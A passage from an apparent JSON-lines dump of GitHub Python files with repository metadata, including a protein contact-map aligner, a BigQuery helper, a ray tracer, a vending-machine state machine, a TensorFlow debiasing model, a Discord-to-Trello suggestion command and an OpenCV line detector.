const][, default][, type][, choices][, required][, help][, metavar][, dest])\n parser.add_argument('-p1', '--pdb1', help='First structure file to align on pdb2')\n parser.add_argument('-p2', '--pdb2', help='Second pdb file. Can give multiple pdbs', nargs='+')\n parser.add_argument(\n '-db',\n '--pdbpath',\n help=\n 'Path to the pdb database. See: https://github.com/bougui505/misc/blob/master/shell/updatePDB.sh to download the PDB'\n )\n parser.add_argument('-s1', '--sel1', required=False, default='all')\n parser.add_argument('-s2', '--sel2', required=False, default='all')\n parser.add_argument(\n '--sep_x',\n type=int,\n default=1,\n help=\n 'Parameter to compute the STD of the gaussian: s_std=sep_y*(1+(s_min-2)**sep_x), with s_min the min sequence separation for cmap_a and cmap_b of the considered contacts. (default=1)'\n )\n parser.add_argument(\n '--sep_y',\n type=int,\n default=16,\n help=\n 'Parameter to compute the STD of the gaussian: s_std=sep_y*(1+(s_min-2)**sep_x), with s_min the min sequence separation for cmap_a and cmap_b of the considered contacts. (default=16)'\n )\n parser.add_argument('--gap_e',\n type=float,\n default=-0.001,\n help='Gap extension penalty. MUST BE negative (default=-0.001).')\n parser.add_argument('--niter', help='Number of iterations (default 20)', default=20, type=int)\n parser.add_argument('--show', action='store_true', help='Show the contact map alignment')\n parser.add_argument('--save', help='Save the contact map alignment in the given filename')\n parser.add_argument('--full',\n action='store_true',\n help='Display the full contact map alignemnt. Not only the aligned contacts')\n parser.add_argument('--hpo', help='Hyperparameter optimization for sep_x, sep_y and gap_e', action='store_true')\n parser.add_argument(\n '--eigen_init',\n help=\n 'Initialize the scoring alignment matrix using eigenvector decomposition. Faster but less accurate (see: https://doi.org/10.1093/bioinformatics/btq402)',\n action='store_true')\n parser.add_argument(\n '--eigen_aln',\n help=\n 'Contact map alignment using alignment of eigen vectors. Even faster but less accurate (see: https://doi.org/10.1093/bioinformatics/btq402)',\n action='store_true')\n parser.add_argument('--test', help='Test the code', action='store_true')\n args = parser.parse_args()\n\n if args.test:\n doctest.testmod(optionflags=doctest.ELLIPSIS) # | doctest.REPORT_ONLY_FIRST_FAILURE)\n sys.exit()\n\n cmd.load(args.pdb1, 'A_')\n coords_a = cmd.get_coords(f'A_ and polymer.protein and name CA and {args.sel1}')\n dmat_a = get_dmat(coords_a)\n cmap_a = get_cmap(dmat_a)\n if args.hpo:\n sep_x_list = [0, 1, 2]\n sep_y_list = [1, 2, 3, 8, 16, 32]\n gap_e_list = [-0.2, -0.1, -0.01, -0.001]\n else:\n sep_x_list = [args.sep_x]\n sep_y_list = [args.sep_y]\n gap_e_list = [args.gap_e]\n if args.pdb2 is not None:\n if len(args.pdb2) == 1:\n import logging\n logfilename = os.path.splitext(os.path.basename(__file__))[0] + '.log'\n logging.basicConfig(filename=logfilename, level=logging.INFO, format='%(asctime)s: %(message)s')\n logging.info(f\"################ Starting {__file__} ################\")\n log(args.pdb1)\n log(args.pdb2)\n cmd.load(args.pdb2[0], 'B_')\n coords_b = cmd.get_coords(f'B_ and polymer.protein and name CA and {args.sel2}')\n dmat_b = get_dmat(coords_b)\n cmap_b = get_cmap(dmat_b)\n log(f'cmap_a.shape: {cmap_a.shape}')\n log(f'cmap_b.shape: {cmap_b.shape}')\n aln, score, sep_x_best, sep_y_best, gap_e_best = mapalign(cmap_a,\n cmap_b,\n sep_x_list=sep_x_list,\n sep_y_list=sep_y_list,\n gap_e_list=gap_e_list,\n progress=args.hpo,\n eigen_init=args.eigen_init,\n eigen_aln=args.eigen_aln,\n niter=args.niter)\n if args.hpo:\n log(f'sep_x: {sep_x_best}')\n log(f'sep_y: {sep_y_best}')\n log(f'gap_e: {gap_e_best}')\n print(f'sep_x: {sep_x_best}')\n print(f'sep_y: {sep_y_best}')\n print(f'gap_e: {gap_e_best}')\n log(f'score: {score:.4f}')\n print(f'score: {score:.4f}')\n native_contacts_score = get_score(cmap_a, cmap_b, aln)\n log(f'native_contacts_score: {native_contacts_score:.4f}')\n print(f'native_contacts_score: {native_contacts_score:.4f}')\n if args.show or args.save is not None:\n plot_aln(cmap_a, cmap_b, aln, full=args.full, outfilename=args.save)\n # >>> sep_x_best, sep_y_best, gap_e_best\n # (2, 16, -0.001)\n elif args.pdb2 is not None:\n batch_mapalign(cmap_a,\n f'mapalign_{os.path.basename(os.path.splitext(args.pdb1)[0])}.log',\n pdblist=args.pdb2,\n sep_x_list=sep_x_list,\n sep_y_list=sep_y_list,\n gap_e_list=gap_e_list,\n eigen_init=args.eigen_init)\n elif args.pdbpath is not None:\n batch_mapalign(cmap_a,\n f'mapalign_{os.path.basename(os.path.splitext(args.pdb1)[0])}.log',\n pdbpath=args.pdbpath,\n eigen_init=args.eigen_init)\n","repo_name":"bougui505/misc","sub_path":"python/mapalign/mapalign.py","file_name":"mapalign.py","file_ext":"py","file_size_in_byte":21453,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"} +{"seq_id":"74942696894","text":"# Standard library imports\nimport os\nfrom tempfile import NamedTemporaryFile\nfrom uuid import uuid4\nfrom itertools import islice\n\n# Third party imports\nimport pandas as pd\n\n\ndef df_to_table(df,\n table,\n write_disposition='WRITE_EMPTY',\n blocking=True):\n \"\"\"Upload a Pandas DataFrame to Google BigQuery\n\n Args:\n df (DataFrame): The Pandas DataFrame to be uploaded.\n table (google.cloud.bigquery.Table): BigQuery table object.\n write_disposition (str): Either 'WRITE_EMPTY', 'WRITE_TRUNCATE', or\n 'WRITE_APPEND'; the default is 'WRITE_EMPTY'.\n blocking (bool): Set to False if you don't want to block until the job\n is complete.\n\n Returns:\n google.cloud.bigquery.Job: The file upload job object. If you have set\n blocking=False, this can be used to check for job completion.\n \"\"\"\n # Two annoyances here:\n # 1) df.to_csv() requires a non binary mode file handle, whereas\n # table.upload_from_file() requires a binary mode file handle, so\n # we can't reuse the same file handle in read/write mode.\n # 2) Windows won't allow reading from a temporary file whilst it's\n # still open (see robfraz/gbq-pandas issue #2), so we can't use\n # context handlers to auto-close (and therefore delete) the temporary\n # file that we write to.\n\n writebuf = NamedTemporaryFile(mode='w',\n encoding='UTF-8',\n prefix=\"df_to_table_\",\n suffix=\".csv\",\n delete=False) # robfraz/gbq-pandas issue #2\n\n try:\n df.to_csv(writebuf, index=False, encoding='UTF-8')\n writebuf.flush()\n writebuf.close()\n\n with open(writebuf.name, mode='rb') as readbuf:\n job = table.upload_from_file(readbuf,\n encoding='UTF-8',\n source_format='CSV',\n skip_leading_rows=1,\n create_disposition='CREATE_IF_NEEDED',\n write_disposition=write_disposition)\n finally:\n os.remove(writebuf.name)\n\n if blocking:\n job.result()\n\n return job\n\n\ndef query_to_df(sql, client):\n \"\"\"Run a Google BigQuery query, and return the result in a Pandas Dataframe\n\n The query must be a single SQL statement\n\n Args:\n sql (str): A string containing a single SQL statement.\n client (google.cloud.bigquery.Client): BigQuery client object.\n\n Returns\n DataFrame: A Pandas DataFrame containing the result of the query.\n \"\"\"\n job = client.run_async_query(str(uuid4()), sql)\n job.use_legacy_sql = False\n result = job.result()\n return table_to_df(result.destination)\n\n\ndef table_to_df(table, limit=None):\n \"\"\"Download a table from Google BigQuery into a dataframe, with optional row limit\n\n Args:\n table (google.cloud.bigquery.Table): BigQuery table object.\n limit (None|int): The default is limit=None (i.e. all rows in table); set to\n zero to get an empty DataFrame with the column names set, or a positive\n number to limit the maximum number of rows fetched into the DataFrame.\n\n Returns:\n DataFrame: A Pandas DataFrame containing the table data.\n \"\"\"\n if limit and limit < 0:\n limit = None\n\n table.reload()\n return pd.DataFrame(data=list(islice(table.fetch_data(), 0, limit)),\n columns=[column.name for column in table.schema])\n","repo_name":"robfraz/gbq-pandas","sub_path":"gbq_pandas.py","file_name":"gbq_pandas.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"} +{"seq_id":"3306275687","text":"from maths import norm, length\nimport numpy as np\n\n\nclass CollisionInfo:\n def __init__(self, did_hit, location, normal):\n self.did_hit = did_hit\n self.location = location\n self.normal = normal\n\n\nclass Ray:\n def __init__(self, origin, direction, emitted_brightness=0.0, gen=0):\n self.origin = origin\n self.direction = norm(direction)\n self.colour = np.ones(3)\n self.emitted_brightness = emitted_brightness\n self.gen = gen\n self.MAX_BOUNCE = 100\n\n def trace(self, scene):\n if self.gen > self.MAX_BOUNCE:\n return self.colour * self.emitted_brightness\n\n min_collision_dist = np.inf\n closest_collision = None\n for object in scene:\n collision_info = object.collision(self)\n if collision_info.did_hit:\n dist_of_collision = length(collision_info.location - self.origin)\n if dist_of_collision < min_collision_dist:\n closest_collision = collision_info\n min_collision_dist = dist_of_collision\n closest_collision_material = object.material\n\n if closest_collision is not None:\n self.colour *= closest_collision_material.colour\n\n new_ray_dir = closest_collision_material.reflect(\n self.direction, closest_collision.normal\n )\n\n reflected_ray = Ray(\n closest_collision.location,\n new_ray_dir,\n emitted_brightness=closest_collision_material.emissivity,\n gen=self.gen + 1,\n )\n self.colour *= reflected_ray.trace(scene)\n self.emitted_brightness = reflected_ray.emitted_brightness\n\n return self.colour * self.emitted_brightness\n","repo_name":"franklinscudder/RayTracer","sub_path":"rays.py","file_name":"rays.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"14144170021","text":"import os\nfrom setuptools import setup, find_packages\n\n# get long_description from README.md\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\n# get install requirements\nwith open('requirements.txt') as fh:\n install_requires = fh.read().splitlines()\n\n# get version\nwith open('version.txt') as fh:\n version = fh.read().strip()[1:]\n\n# list of all utility scripts to be included with package\nscripts=[os.path.join('utils',f) for f in os.listdir('utils') if f.endswith('.py')]\n\nsetup(\n name='sliderule',\n author='SlideRule Developers',\n description='Python client for interacting with sliderule server',\n long_description_content_type=\"text/markdown\",\n url='https://github.com/ICESat2-SlideRule/sliderule/',\n license='BSD 3-Clause',\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Science/Research',\n 'Topic :: Scientific/Engineering :: Physics',\n 'License :: OSI Approved :: BSD License',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.7',\n ],\n packages=find_packages(),\n version=version,\n install_requires=install_requires,\n scripts=scripts,\n)\n","repo_name":"ICESat2-SlideRule/sliderule","sub_path":"clients/python/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"79"} +{"seq_id":"35292065010","text":"class VendingMachine:\n def __init__(self):\n self.state = 'Idle'\n self.juices = {'PEPS': 30, 'MOUN': 30, 'DPEP': 50, 'COKE': 20, 'GATO': 20, 'DCOK': 30, 'MINM': 25, 'TROP': 30}\n self.stock = {juice: 1 for juice in self.juices.keys()}\n\n def run(self):\n while True:\n if self.state == 'Idle':\n self.idle_state()\n elif self.state == 'Dispensing':\n self.dispensing_state()\n elif self.state == 'InsufficientFunds':\n self.insufficient_funds_state()\n elif self.state == 'OutOfStock':\n self.out_of_stock_state()\n elif self.state == 'RefillPrompt':\n self.refill_prompt_state()\n elif self.state == 'Refill':\n self.refill_state()\n\n def idle_state(self):\n print(\"Welcome to the vending machine!\")\n print(\"List of drinks:\")\n for juice, price in self.juices.items():\n print(f\"{juice} - ${price}\")\n\n user_input = input(\"Enter the four-letter code for your drink: \")\n if user_input.lower()=='refill':\n self.state = 'Refill'\n\n elif user_input in self.juices:\n if self.stock[user_input] > 0:\n cost = self.juices[user_input]\n amount = float(input(\"Enter the amount of money you will feed: \"))\n if amount == cost:\n print(\"Dispensing drink...\")\n self.stock[user_input] -= 1\n self.state = 'Dispensing'\n elif amount < cost:\n self.state = 'InsufficientFunds'\n else:\n change = amount - cost\n print(f\"Dispensing drink and returning ${change} in change.\")\n self.stock[user_input] -= 1\n self.state = 'Dispensing'\n elif sum(self.stock.values())==0:\n self.state = 'RefillPrompt'\n else:\n self.state = 'OutOfStock' \n else: \n print(\"Invalid input. Please try again.\")\n\n def dispensing_state(self):\n print(\"Enjoy your drink!\")\n self.state = 'Idle'\n\n def insufficient_funds_state(self):\n print(\"The entered amount is less than the cost. Please enter a sufficient amount.\")\n self.state = 'Idle'\n\n def out_of_stock_state(self):\n print(\"Selected juice is out of stock. Please choose another drink.\")\n self.state = 'Idle'\n\n def refill_prompt_state(self):\n print(\"Please refill all the juices.\")\n self.state = 'Idle'\n\n def refill_state(self):\n print(\"Vending Machine has been refilled...\")\n self.stock = {juice: 1 for juice in self.juices.keys()}\n self.state = 'Idle'\n\n# Run the vending machine\nmachine = VendingMachine()\nmachine.run()\n","repo_name":"sanchitgarg2204/sanchitgarg2204.github.io","sub_path":"fsm.py","file_name":"fsm.py","file_ext":"py","file_size_in_byte":2855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"29412090844","text":"class Solution:\n def intToRoman(self, num: int) -> str:\n values = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1]\n strs = [\"M\", \"CM\", \"D\", \"CD\", \"C\", \"XC\", \"L\", \"XL\", \"X\", \"IX\", \"V\", \"IV\", \"I\"]\n sb = \"\"\n for i in range(len(values)):\n while num >= values[i]:\n num -= values[i]\n sb += strs[i]\n return sb","repo_name":"chandlerche/dailyLeetCode","sub_path":"12.py","file_name":"12.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"18895842674","text":"import numpy as np\nfrom utils import *\nfrom file_option_name_memo import *\n \n\ndef create_word_sequence(file_name_option,valid_list,grammar):\n _,_,_,w,_,_,_,_,_= create_dataloader(500, file_name_option, valid_list)\n truth_T0, truth_T = grammar_list[grammar].values()\n D,N_max = w.to('cpu').detach().numpy().copy().shape\n truth_F = np.zeros_like(w,dtype=np.int8)\n N = np.zeros(D,dtype=np.int8)\n total_w_num = 0\n for d in range(D):\n truth_F[d][0] = np.random.choice(N_max,p=truth_T0)\n w[d][0] = w[d][truth_F[d][0]]\n N[d] += 1\n total_w_num += 1\n for n in range(1,N_max):\n truth_F[d][n] = np.random.choice(N_max+1,p=truth_T[truth_F[d][n-1]])\n if truth_F[d][n] == N_max:\n w[d][n] = -1\n else:\n w[d][n] = w[d][truth_F[d][n]]\n N[d] += 1\n total_w_num += 1\n return D, N, w, truth_F","repo_name":"YutaMatsui-1122/CSL-VAE","sub_path":"create_word_sequence.py","file_name":"create_word_sequence.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"11400197862","text":"import os\r\n\r\n\r\n# function to make a new database\r\ndef make_db(name):\r\n # lists local folder content\r\n local_folder_content = os.listdir()\r\n # looks if the database you are looking for exists\r\n if str(name) in local_folder_content:\r\n # if your db wasn't found this will be printed out\r\n return print(\"Database with this name already exists!\")\r\n else:\r\n # makes a new db file\r\n db_name = (str(name) + \".py\")\r\n with open(db_name, \"w+\") as db:\r\n db.close()\r\n return print(\"New database made!\")\r\n\r\n\r\n# read info from database\r\ndef read_db(name, print_content=False):\r\n try:\r\n db_name = (str(name) + \".py\")\r\n # opens your desired database\r\n with open(str(db_name), \"r\") as db:\r\n\r\n # reads db content\r\n db_content = db.read()\r\n\r\n if print_content:\r\n print(str(db_content))\r\n # closes the db\r\n db.close()\r\n return db_content\r\n except:\r\n print(\"Failed to get db content\")\r\n\r\n\r\ndef write_entry(name, user_name, user_id, user_age, user_bio, user_adinfo):\r\n\r\n\r\n # looks if the database you are looking for exists\r\n\r\n\r\n try:\r\n db_name = (str(name) + \".py\")\r\n\r\n # opens your desired database\r\n\r\n with open(str(db_name), \"r\") as db:\r\n # reads db content\r\n\r\n db_content = db.read()\r\n # makes a new dictionary for the user\r\n\r\n db.close()\r\n\r\n db = open(str(db_name), \"w\")\r\n user_dict = {\r\n \"Username\": str(user_name),\r\n \"UID\": int(user_id),\r\n \"Age\": int(user_age),\r\n \"Biography\": str(user_bio),\r\n \"Other\": str(user_adinfo)\r\n }\r\n\r\n db_to_write = str(db_content) + \"\\n\" + str(user_name) + \" = \" + str(user_dict)\r\n # writes user's data to your db\r\n db.write(str(db_to_write))\r\n print(\"new entry written to db\")\r\n db.close()\r\n except:\r\n print(\"Failed to write to db\")\r\n\r\n#read desired user's info\r\n\r\ndef read_user_info(name, username):\r\n try:\r\n db_name = (str(name) + \".py\")\r\n db = open(str(db_name), \"r\")\r\n db_content = db.read()\r\n db.close()\r\n info1 = str(db_content.split(f\"{username} = \"))\r\n info2 = info1.split(\"}\")\r\n info3 = info2[0].split(\"{\")\r\n data = info3[1]\r\n\r\n\r\n\r\n return data\r\n except:\r\n return print(\"Failed to get desired user's info\")","repo_name":"yourdarl1ng/mw-database","sub_path":"mw_database.py","file_name":"mw_database.py","file_ext":"py","file_size_in_byte":2483,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"} +{"seq_id":"15241905309","text":"import tensorflow as tf\r\nimport numpy as np\r\nimport models.blocks as blocks\r\nfrom tf_p_inv import p_inv\r\nfrom constants import *\r\n\r\n\r\ndef hex_proj(a, g, params):\r\n with tf.variable_scope(\"hex_proj\", reuse=tf.AUTO_REUSE):\r\n if params['hex_final_dim'] < params['batch_size']:\r\n l = a - tf.matmul(tf.matmul(tf.matmul(g, p_inv(tf.matmul(g, g, transpose_a=True))),g, transpose_b=True), a) \r\n else:\r\n small_identity = params['small_id'] * tf.eye(params['hex_final_dim'])\r\n l = a - tf.matmul(tf.matmul(tf.matmul(g, p_inv(tf.matmul(g, g, transpose_a=True) + small_identity)),g, transpose_b=True), a) \r\n\r\n return l\r\n\r\n\r\ndef hex_classifier(h, g, phs, params):\r\n \"\"\"Input: [h,g] or [h,0] or [0,g], Output: the layer before the linear layer of softmax\"\"\"\r\n with tf.variable_scope(\"hex_classifier\", reuse=tf.AUTO_REUSE):\r\n keep_rate, stop_grad, _ = phs\r\n inp = tf.concat([h,g], -1)\r\n h_mlp = tf.layers.dense(inp, params['nli_mlp_dim'], tf.nn.relu)\r\n if params['hex_dropout']:\r\n h_drop = tf.nn.dropout(h_mlp, keep_rate)\r\n else:\r\n h_drop = h_mlp\r\n h_drop = tf.layers.dense(h_drop, params['hex_final_dim'])\r\n return h_drop\r\n\r\n\r\ndef hex_softmax(f, params):\r\n if params['final_linear']:\r\n with tf.variable_scope(\"hex_softmax\", reuse=tf.AUTO_REUSE):\r\n logits = tf.layers.dense(f, 3)\r\n return logits\r\n else:\r\n return f\r\n\r\nclass HEX(object):\r\n def __init__(self, params):\r\n if params['hex_share_emb'] == False:\r\n with tf.variable_scope(\"hex_embed\", reuse=tf.AUTO_REUSE):\r\n self.embeddings = tf.Variable(params['embeddings'], trainable=params['emb_train'], name='E')\r\n if params['self_att']:\r\n self.construct_hex_vec = self.construct_hex_vec_selfatt\r\n else:\r\n self.construct_hex_vec = self.construct_hex_vec_simple\r\n \r\n\r\n\r\n def share_emb(self, embeddings):\r\n self.embeddings = embeddings\r\n\r\n\r\n def construct_hex_vec_simple(self, inputs, params, phs):\r\n keep_rate, stop_grad, _ = phs\r\n\r\n premise_x, hypothesis_x = inputs\r\n\r\n with tf.variable_scope(\"hex_superficial\", reuse=tf.AUTO_REUSE):\r\n\r\n ## Calculate representaitons by CBOW method\r\n emb_premise = tf.nn.embedding_lookup(self.embeddings, premise_x) \r\n emb_premise_drop = tf.nn.dropout(emb_premise, keep_rate)\r\n\r\n emb_hypothesis = tf.nn.embedding_lookup(self.embeddings, hypothesis_x)\r\n emb_hypothesis_drop = tf.nn.dropout(emb_hypothesis, keep_rate)\r\n\r\n premise_rep = tf.reduce_sum(emb_premise_drop, 1)\r\n hypothesis_rep = tf.reduce_sum(emb_hypothesis_drop, 1)\r\n\r\n ## Combinations\r\n h_diff = premise_rep - hypothesis_rep\r\n h_mul = premise_rep * hypothesis_rep\r\n\r\n ### MLP\r\n mlp_input = tf.concat([premise_rep, hypothesis_rep, h_diff, h_mul], 1)\r\n\r\n superficial_output = tf.layers.dense(mlp_input, 100)\r\n return premise_rep, hypothesis_rep, mlp_input\r\n\r\n def construct_hex_vec_selfatt(self, inputs, params, phs):\r\n keep_rate, stop_grad, _ = phs\r\n\r\n premise_x, hypothesis_x = inputs\r\n\r\n with tf.variable_scope(\"hex_superficial_selfatt\", reuse=tf.AUTO_REUSE):\r\n\r\n emb_premise = tf.nn.embedding_lookup(self.embeddings, premise_x) \r\n emb_premise_drop = tf.nn.dropout(emb_premise, keep_rate)\r\n\r\n emb_hypothesis = tf.nn.embedding_lookup(self.embeddings, hypothesis_x)\r\n emb_hypothesis_drop = tf.nn.dropout(emb_hypothesis, keep_rate)\r\n\r\n prem_seq_lengths, prem_mask = blocks.length(premise_x)\r\n hyp_seq_lengths, hyp_mask = blocks.length(hypothesis_x)\r\n\r\n prem_self_att= blocks.simple_self_attention_block(emb_premise_drop, params['dim_emb'], prem_seq_lengths, prem_mask, scope = 'superficial_prem_self_att')\r\n hypo_self_att= blocks.simple_self_attention_block(emb_hypothesis_drop, params['dim_emb'], hyp_seq_lengths, hyp_mask, scope = 'superficial_hypo_self_att')\r\n\r\n\r\n premise_rep = tf.reduce_sum(prem_self_att, 1)\r\n hypothesis_rep = tf.reduce_sum(hypo_self_att, 1)\r\n\r\n ## Combinations\r\n h_diff = premise_rep - hypothesis_rep\r\n h_mul = premise_rep * hypothesis_rep\r\n\r\n ### MLP\r\n mlp_input = tf.concat([premise_rep, hypothesis_rep, h_diff, h_mul], 1)\r\n return premise_rep, hypothesis_rep, mlp_input\r\n","repo_name":"owenzx/LexicalDebias-ACL2020","sub_path":"models/hex.py","file_name":"hex.py","file_ext":"py","file_size_in_byte":4545,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"79"} +{"seq_id":"30245716562","text":"from discord.ext import commands\nimport traceback\nimport aiotrello\nimport datetime\nimport discord\n\n\nclass Suggest(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n self.trello = aiotrello.Trello(\n key=self.bot.config['trellokey'], token=self.bot.config['trellotoken'])\n\n @commands.command(name='suggest', description='Suggest a feature')\n @commands.cooldown(1, 600, commands.BucketType.user)\n async def suggestcmd(self, ctx, *, suggestion: str):\n if suggestion is None:\n await ctx.error('You can\\'t suggest nothing!')\n else:\n board = await self.trello.get_board(lambda b: b.name == 'Fire')\n suggestions = await board.get_list(lambda l: l.name == 'Suggestions')\n card = await suggestions.create_card(suggestion, f'Suggested by {ctx.author.name} ({ctx.author.id})')\n now = datetime.datetime.now(datetime.timezone.utc).strftime(\n '%d/%m/%Y @ %I:%M:%S %p')\n await card.add_comment(f'Suggested in channel {ctx.channel.name} ({ctx.channel.id}) in guild {ctx.guild.name} ({ctx.guild.id}) at {now} UTC')\n await ctx.success(f'Thanks! Your suggestion was added to the Trello @ <{card.url}>. Make sure to check it every now and then for a response.')\n\n\ndef setup(bot):\n try:\n bot.add_cog(Suggest(bot))\n bot.logger.info(f'$GREENLoaded $CYAN\"suggest\" $GREENcommand!')\n except Exception as e:\n bot.logger.error(\n f'$REDError while adding command $CYAN\"suggest\"', exc_info=e)\n","repo_name":"0xacn/bot","sub_path":"commands/suggest.py","file_name":"suggest.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"79"} +{"seq_id":"2831431504","text":"if __name__ == '__main__':\n n = int(input())\n \n listOfNumber = []\n for i in range(1, n+1):\n listOfNumber.append(i)\n \n result = ''.join(map(str, listOfNumber))\n print(result)\n\n\n# Hacker Rank Task\n# The included code stub will read an integer, n , from STDIN.\n# Without using any string methods, try to print the following:\n# 1234...n\n# Note that \"...\" represents the consecutive values in between.\n# Example:\n# n = 5\n\n# Print the string 12345","repo_name":"raihan-tajdid007/hackerRank-prob-solving","sub_path":"printFunction.py","file_name":"printFunction.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"} +{"seq_id":"27424267018","text":"import cv2\nimport numpy as np\nfrom line import Line\nfrom abc import ABCMeta, abstractmethod\n\ndef getArea(line):\n\treturn line.area\n\nclass ILineDetector(metaclass=ABCMeta):\n\t\"\"\"\n\t\tClass for line detection and filtering\n\t\"\"\"\n\t@abstractmethod\n\tdef __init__(self, algorithm=None, filtering_criteria=None, quantity=None):\n\t\t\"\"\"\n\t\t\tConstructor identifies the detection specifications\n\t\t\t\n\t\t\tParameters\n\t\t\t——————————\n\t\t\talgorithm ———> algorithm to find all lines in the canny frame (default=HOUGH_LINES)\n\t\t\tfiltering_criteria ———> Array of filtering Constants\n\t\t\tquantity ———> filtering by area as an optional excess filtering step\n\t\t\"\"\"\n\t\tpass\n\n\t@abstractmethod\n\tdef xExtremes(self, lines):\n\t\t\"\"\"\n\t\t\tFunction returns the leftmost and rightmost vertical lines\n\t\t\t\n\t\t\tParameters\n\t\t\t——————————\n\t\t\tlines ———> list of all found lines (list of line objects)\n\t\t\t\n\t\t\t@return : list of two line objects\n\t\t\"\"\"\n\t\tpass\n\n\t@abstractmethod\n\tdef yExtremes(self, lines):\n\t\t\"\"\"\n\t\t\tFunction returns the top and bottom horizontal lines\n\t\t\t\n\t\t\tParameters\n\t\t\t——————————\n\t\t\tlines ———> list of all found lines (list of line objects)\n\t\t\t\n\t\t\t@return : list of two line objects\n\t\t\"\"\"\n\t\tpass\n\n\t@abstractmethod\n\tdef run(self, frame):\n\t\t\"\"\"\n\t\t\tThis function does the following:-\n\t\t\t1- Creates the canny version of the frame\n\t\t\t2- Extracts all lines according to the specified algorithm\n\t\t\t3- Applies the desired filtering criterion\n\t\t\t\n\t\t\tParameters\n\t\t\t——————————\n\t\t\tframe ———> Workpiece frame\n\t\t\"\"\"\n\t\tpass\n\nclass LineDetector(ILineDetector):\n\t\"\"\"\n\t\tClass builder for extracting lines from a frame\n\t\tDependencies\n ————————————\n\t\t- ImageManipulator\n\n\t\tAll Dynamic Variables\n\t\t————————————————————\n\t\tself.__algorithm ———> Hough detection or contours\n\t\tself.__minLength ———> The minimum length of a line\n\t\tself.__quantity ———> The minimum length of a line\n\t\tself.__filtering ———> Filtering Criteria\n\t\tself._horizontals ———> Horizontal Lines after eliminating redundancies\n\t\tself._verticals ———> Vertical Lines after eliminating redundancies\n\n\t\tAll Static Variables\n\t\t————————————————————\n\t\t—) For Algorithms\n\t\t\t1. CONTOURS\n\t\t\t2. HOUGH\n\n\t\t—) For Filtering\n\t\t\t1. XEXTREMES\n\t\t\t2. YEXTREMES\n\t\t\t3. ANGLE\n\t\t\t4. HORIZONTALS\n\t\t\t5. VERTICALS\n\t\"\"\"\n\tCONTOURS = 1\n\tHOUGH = 2\n\t\n\tXEXTREMES=1\n\tYEXTREMES=2\n\tANGLE=3 #TODO\n\tHORIZONTALS=4\n\tVERTICALS=5\n\n\n\tdef __init__(self, algorithm=None, filtering_criteria=None, quantity=None):\n\t\t\"\"\"\n\t\t\tConstructor identifies the detection specifications\n\t\t\t\n\t\t\tParameters\n\t\t\t——————————\n\t\t\talgorithm ———> algorithm to find all lines in the canny frame (default=HOUGH_LINES)\n\t\t\tfiltering_criteria ———> list of filtering sequences\n\t\t\tquantity ———> filtering by area as an optional excess filtering step\n\t\t\"\"\"\n\t\tself.__algorithm = algorithm\n\t\tself.minLength = 1\n\t\tself.minLineDistance = 20\n\n\t\tself.__quantity = quantity\n\t\tself.__filtering = filtering_criteria\n\n\tdef _toCanny(frame):\n\t\t\"\"\"\n\t\t\t#TODO : use salama's class\n\t\t\tfunction constructs the canny version of a frame\n\t\t\t:param frame: workpiece frame \n\t\t\t:return: canny version\n\t\t\"\"\"\n\t\tgray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\t\terosion = cv2.erode(gray, (5, 5), iterations=1)\n\t\tcanny = cv2.Canny(erosion, 120, 80)\n\t\tcv2.imshow('canny', canny)\n\t\treturn canny\t\t\n\n\tdef _houghAlgorithm(self, canny):\n\t\tlines = cv2.HoughLinesP(canny, rho=1, theta=np.pi/180.0, threshold=5,minLineLength=self.minLength, maxLineGap=5)\n\t\tresult = []\n\t\ttry:\n\t\t\tfor line in lines:\n\t\t\t\tresult.append(Line(line))\n\t\texcept:\n\t\t\tpass\n\t\treturn result\n\n\tdef _contoursAlgorithm(self, contours, frame):\n\t\t\"\"\"\n\t\t\tMethod filters the found contours to return only those representing lines\n\t\t\"\"\"\n\t\tresult = []\n\t\tfor contour in contours:\n\t\t\t[vx,vy,x,y] = cv2.fitLine(contour, cv2.DIST_L2,0,0.01,0.01)\n\t\t\tthis_line = Line([(int(x), int(y)), (int(vx*2), int(vy*2))], cv2.contourArea(contour)).draw(frame)\n\t\t\tresult.append(this_line)\n\t\t\t# print(contour)\n\t\t\t# temp = contour.tolist()\n\t\t\t# list_version = []\n\t\t\t# for cnt in temp:\n\t\t\t# \tlist_version.append(cnt[0])\n\t\t\t# pts = [(list_version[0][0], list_version[0][1]), (list_version[-1][0], list_version[-1][1])]\n\t\t\t# this_line = Line(pts, cv2.contourArea(contour))\n\t\t\t\n\t\t\t# if this_line.length() > self.minLength:\n\t\t\t# \tresult.append(this_line)\n\t\treturn result\n\n\tdef _eliminateRedundancies(self, lines):\n\t\t\"\"\"\n\t\t\tAyman Optimized gedan here\n\t\t\"\"\"\n\t\toriginalTolerances = (Line.horizontalTolerance, Line.verticalTolerance)\n\t\tLine.horizontalTolerance = 1\n\t\tLine.verticalTolerance = 1\n\n\t\tself._verticals = LineDetector.__filterVerticals(lines)\n\t\tself._horizontals = 